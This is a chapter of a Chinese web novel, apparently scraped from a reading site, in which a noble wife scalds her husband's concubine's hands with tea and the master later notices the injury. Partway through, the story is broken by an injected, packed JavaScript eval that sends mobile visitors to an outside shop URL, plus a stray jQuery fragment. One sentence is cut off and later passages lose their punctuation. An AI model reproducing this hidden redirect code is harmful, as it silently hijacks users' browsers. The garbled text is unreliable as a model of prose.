说着薛玉容便伸手提起了那壶茶水,她瞥了赵嬷嬷一眼。
赵嬷嬷竟直接用力拽住玉姣的手,接着,薛玉容也不用茶盏,把那茶壶高高提起,直接往玉姣的手上浇水。
哗啦啦,伴随着细细流水的声音,这茶水,直接浇在了玉姣白皙纤细的手指上,疼得玉姣整个人颤了颤,本能地想要把手指缩回去。
可是赵嬷嬷却紧紧地钳着她的手腕,让她动弹不得。
薛玉容好像很享受,玉姣这种痛苦但又反抗不了的样子,此时已经笑得更温婉了。
若不看薛玉容正在做什么事情,只看这温婉端庄的笑容,谁人都会觉得,这伯爵府的大娘子,是个温柔和善的人儿。
玉姣反抗不了,只能默默承受。
好在这茶水,从灶间提来,又在外面等了一会儿,已经不是沸水了。
不然这样浇下来,玉姣怕是要皮骨分离。
薛玉容也还是讲着分寸的,只想让玉姣吃苦头,并不想直接毁掉玉姣的手。
薛玉容可不是良心发现,而是因为她不想把事情做得太明显,叫萧宁远发现,毁了她贤良大娘子的名声。
饶是这样。
玉姣还是疼得额头直冒冷汗。
薛玉容终于把茶壶放到一旁,看着玉姣冷声说道:“记着这个教训!”
“你在这伯爵府之中,只是一个替我生孩子的下贱东西!莫要做勾引主君,飞上枝头的美梦!”薛玉容冷声道。
玉姣立在那,人轻轻颤抖。
薛玉容让她给萧宁远睡觉,替她生子,萧宁远看不上她,薛玉容说她是废物,要磋磨她。
如今萧宁远看上她了,薛玉容又要警告她不要勾引萧宁远!
她不管怎么做,都是错的,薛玉容都不会放过她!
难道就因为她是庶女,她是妾室,就应该受这种无端而来的苦处吗?
薛玉容瞥了玉姣一眼,声音淡淡:“不服气?”
玉姣连忙调整好情绪,俯首跪在地上,低声道:“妾不敢。”
薛玉容起身往外走去,路过玉姣跟前的时候,脚步微微一顿,似笑非笑:“你最好是真不敢,以后切莫让我知道,你背着我狐媚主君!不然……难受的就不只是你了,你也得替你小娘和弟弟想一想。
”
玉姣微微垂眸。
弟弟如今已入太学读书她的小娘和弟弟怕是没那么容易让他们拿捏了!
薛玉容离开了。
玉姣抬起头来看向薛玉容的背影眼神之中满是冷色。
玉姣把自己红肿的手
秋蘅站在一旁抹着眼泪:“大夫人怎么能这样对小娘!又不是小娘自己想到这伯爵府的!”
春枝的眼睛也红了红看向玉姣问道:“小娘难道我们就要一直被这样欺负吗?”
说到这春枝顿了顿咬牙道:“小娘你若是有什么想做的只管吩咐春枝去做便是拼了这条命春枝也愿意!”
玉姣看向春枝姣好的面容上神色平静:“时候未到。”
现如今和薛玉容翻脸胜算太小了。
还需要再等等。
只是这气也不能白受。
玉姣这般想着便直接将水盆之中的手拿了出来。
春枝心疼地问道:“小娘不再泡一会儿冷水了?”
玉姣垂眸看向自己本来白皙纤细但如今红肿的手开口道:“不必了。”
……
傍晚的揽月院显得格外的静谧。
此时的丫鬟和仆从不多便是府上的人也鲜少路过此处与常人看来这地方有些荒凉。
可萧宁远站在揽月院的门口。
反倒是觉得此处是这伯爵府唯一能叫他舒缓心情的所在。
伯爵府后宅的女人是不少但近些日子也只有玉姣最叫萧宁远合心。
白侧夫人总是一副缠绵病榻的样子萧宁远从前也会去上几次但每次去白侧夫人都称病不能服侍。
这久而久之。
萧宁远的心思也就歇了。
也只有少数时候会例行公事一般的去走一走。
至于葳蕤院。
孟侧夫人有了孩子脾气也越发的大了再加上前些日子孟侧夫人让人推玉姣入水的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13760084|145544||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事情到底让萧宁远想要冷上孟侧夫人几日以示惩戒。
如此一来。
萧宁远可去的地方便不多。
几个妾室唯有玉姣每次都能叫他舒缓。
萧宁远进院的时候便瞧见玉姣的房内已经燃起了烛火。
立在门口的秋蘅正要开口通传萧宁远便摇了摇头。
萧宁远走到门口轻轻推门进去。
便瞧见玉姣此时依旧在抄写佛经仿若并未察觉到萧宁远的到来。
烛火之下玉姣的侧脸显得安宁美好。
萧宁远觉得有些奇怪明明是那般昳丽妖娆的女子
萧宁远不忍打扰玉姣缓步走近了。
玉姣还在写。
但写着写着好像手上忽然间一吃痛忍不住地轻呼了一声手上的笔微微一顿。
这样一来。
萧宁远便注意到玉姣那红肿的手指。
便是此时春枝端了茶水进来。
萧宁远已经把玉姣手中的狼毫笔拿走拉起了玉姣的手问道:“这是怎么了?白日里的时候不是好好的吗?”
玉姣好像受惊了一样的把自己的一双手缩了回来往后背藏去接着便惊喜地开口:“主……主君……你来了?”
萧宁远又问:“手怎么了?”
玉姣垂眸脚尖轻轻地动了动似乎很是不安但还是开口道:“是妾……自己不小心用茶水烫了手指。”
说着玉姣就抬起头来开口道:“不过不要紧的!不影响妾服侍主君!”
便是此时一声脆响。
是春枝放下茶水的时候声音大了几分。
萧宁远看了春枝一眼便见春枝一脸欲言又止。
玉姣则是给了春枝一个祈求的眼神瞧那样子是怕春枝说出什么来不好的话似的。
萧宁远见主仆两个人当着自己的面悄悄地眉来眼去心中便明白玉姣这手上的伤应该不是平白无故来的定有文章。
往日里萧宁远并不关心后宅女人之间的事情。
可现如今……他正宠着玉姣若是有人因此找玉姣的不痛快那便是找他的不痛快了。